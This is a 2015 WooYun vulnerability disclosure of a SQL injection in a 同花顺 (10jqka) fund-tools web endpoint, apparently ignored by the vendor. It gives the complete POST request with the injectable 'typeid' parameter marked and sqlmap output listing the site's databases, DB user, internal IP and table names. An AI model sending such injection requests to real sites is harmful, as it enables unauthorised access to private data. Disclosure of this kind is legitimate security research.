当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0113308

漏洞标题：同花顺某站点MySQL注射(支持union)

相关厂商：同花顺

漏洞作者： 路人甲

提交时间：2015-05-10 21:48

修复时间：2015-05-15 21:50

公开时间：2015-05-15 21:50

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：6

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-10： 细节已通知厂商并且等待厂商处理中
2015-05-15： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

同花顺某站点MySQL注射(支持union)

详细说明：

注射点：

POST /data/Tools/userCounts HTTP/1.1
Content-Length: 37
Content-Type: application/x-www-form-urlencoded
Referer: http://tools.fund.10jqka.com.cn
Host: tools.fund.10jqka.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit/600.1.3 (KHTML, like Gecko) Version/8.0 Mobile/12A4345d Safari/600.1.4
Accept: */*
tradecode=&typeid=2*


参数typeid可注入，支持union。

漏洞证明：

SQLmap可猜解数据：

current database:    'funddata'
current user:    'ab@192.168.205.18'
available databases [16]:
[*] ace
[*] blog1
[*] datacenter
[*] exp
[*] funddata
[*] gxmn
[*] gxmn_new
[*] hzfanfan
[*] hzfanfan2
[*] ijijin_data
[*] information_schema
[*] message
[*] mncg
[*] mysql
[*] performance_schema
[*] test
Database: funddata
[31 tables]
+-------------------+
| 0311game          |
| 0311user1         |
| 0311user          |
| 1205hb            |
| allNewNet         |
| asset             |
| company           |
| customhome        |
| custommessage     |
| fjdata            |
| fundInfo          |
| fundProfit        |
| fundProfitAll     |
| fundSaleType      |
| fundStar          |
| fundType          |
| fundlist          |
| hbcj              |
| jjzs              |
| keywords_contents |
| keywords_groups   |
| kfsNet            |
| manager           |
| newNet            |
| performance       |
| statistics        |
| statistics_type   |
| stock             |
| topTenZc          |
| yxbind            |
| yxgame            |
+-------------------+

修复方案：

参数过滤

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-05-15 21:50

厂商回复：

漏洞Rank：8 (WooYun评价)

最新状态：

暂无